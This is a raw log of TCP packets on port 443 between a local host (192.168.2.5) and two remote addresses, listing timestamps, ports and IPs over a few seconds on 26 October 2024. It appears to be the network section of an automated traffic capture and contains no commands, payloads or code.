Oct 26, 2024 13:45:48.133104086 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.133151054 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.133342028 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.133362055 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.133375883 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.133382082 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.133692026 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.133697987 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.136719942 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.136818886 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.136917114 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.137082100 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.137120008 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.264095068 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.264175892 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.264233112 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.264492035 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.264503956 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.264527082 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.264532089 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.268770933 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.268809080 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.268893003 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.269068956 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.269079924 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.854170084 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.868383884 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.884777069 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:48.884871006 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:48.895344019 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.897646904 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.897654057 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.898303986 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.898307085 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.900157928 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.900183916 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.900871038 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.900876045 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.903172970 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:48.903192043 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:48.903496981 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:48.935950041 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:48.979332924 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.001981020 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.002610922 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.002624989 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.003242970 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.003247976 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.025836945 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.025921106 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.025984049 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.026211977 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.026237011 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.026249886 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.026256084 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.026503086 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.026669025 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.026726007 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.026765108 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.026765108 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.026782990 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.026793003 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.029808044 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.029812098 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.029843092 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.029850960 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.029923916 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.030081034 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.030081034 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.030092955 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.030107021 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.030113935 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.134805918 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.134891987 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.134954929 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.135185957 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.135202885 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.138678074 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.138712883 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.138792992 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.138951063 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.138957977 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.310214043 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.310249090 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.310276031 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.310282946 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.310364962 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:49.310374975 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.310421944 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:49.427700043 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.427773952 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.427808046 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:49.427829027 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.427860975 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:49.427983999 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:49.427993059 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.428013086 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:49.428188086 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.428225040 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:49.428258896 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:49.754952908 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.757603884 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.757652044 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.757744074 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.757945061 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.757952929 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.775053978 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.775516033 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.775576115 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.776007891 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.776024103 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.785365105 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.785628080 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.785640001 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.786221027 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.786225080 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.896801949 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.897396088 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.897428989 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.897910118 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.897917986 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.912328005 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.912631035 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.912693024 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.912714958 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.912750006 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.912806988 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.912853003 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.912853003 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.912870884 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.912892103 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.915700912 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.915750027 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.915828943 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.915963888 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.915971994 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.923410892 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.923484087 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.923551083 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.923705101 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.923748016 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.923780918 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.923798084 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.925823927 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.925852060 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:49.925919056 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.926039934 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:49.926049948 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.029170036 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.029263020 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.029383898 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.029577017 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.029603958 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.029638052 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.029644966 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.032773972 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.032813072 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.032907009 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.033070087 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.033082008 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.491220951 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.491972923 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.492038012 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.492500067 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.492515087 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.619684935 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.619765997 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.620040894 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.620198011 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.620256901 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.620296001 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.620313883 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.623660088 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.623697042 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.623817921 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.624105930 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.624123096 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.641226053 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.641832113 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.641869068 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.642538071 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.642551899 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.665571928 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.667150974 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.667176962 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.667686939 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.667692900 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.766479969 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.769231081 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.769392014 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.769491911 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.773241043 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.773272991 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.773763895 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.773782015 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.774111032 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.774142981 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.774162054 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.774172068 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.777733088 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.777774096 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.777894974 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.778049946 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.778063059 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.796380043 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.796441078 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.796581984 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.796665907 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.796823978 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.796875954 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.796916962 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.796936035 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.800443888 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.800477028 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.800578117 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.800936937 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.800959110 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.899214029 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.900810003 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.900866985 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.900970936 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.901021004 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.901318073 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.901344061 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.901360035 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.901367903 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.904977083 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.905010939 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:50.905117035 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.905298948 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:50.905309916 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.531532049 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.532689095 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.532725096 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.532754898 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.533082008 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.533107996 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.533323050 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.533329964 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.533745050 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.533756018 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.658430099 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.659415007 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.659446001 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.660074949 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.660080910 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.661777020 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.661813021 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.661861897 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.661895990 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.661953926 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.662055016 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.662074089 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.662264109 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.662270069 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.664037943 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.665816069 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.665853977 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.665956020 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.666152000 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.666162014 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.671102047 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.671190977 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.671257019 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.671274900 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.671293020 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.671298981 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.674216986 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.674266100 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.674612999 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.674972057 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.674984932 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.714529991 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.715369940 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.715382099 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.716207027 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.716212988 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.799937963 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.800035954 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.800152063 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.802584887 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.802604914 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.802618027 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.802623987 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.805941105 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.805989027 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.806057930 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.806205988 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.806221008 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.845041037 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.845067024 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.845105886 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.845163107 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.845201969 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.845434904 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.845446110 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.845468998 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.845474005 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.848536968 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.848572969 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:51.848670959 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.848943949 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:51.848954916 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.392982006 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.417999983 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.418018103 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.418497086 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.418502092 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.460232019 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.496212959 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.496228933 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.496815920 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.496825933 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.542073965 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.542098045 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.542155027 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.542164087 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.542207956 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.558161974 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.579879045 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.579895973 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.579906940 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.579912901 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.597881079 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.598681927 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.603333950 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.603339911 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.609972954 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.609983921 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.627981901 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.628021002 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.628086090 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.628164053 CEST	49885	443	192.168.2.5	13.107.246.45
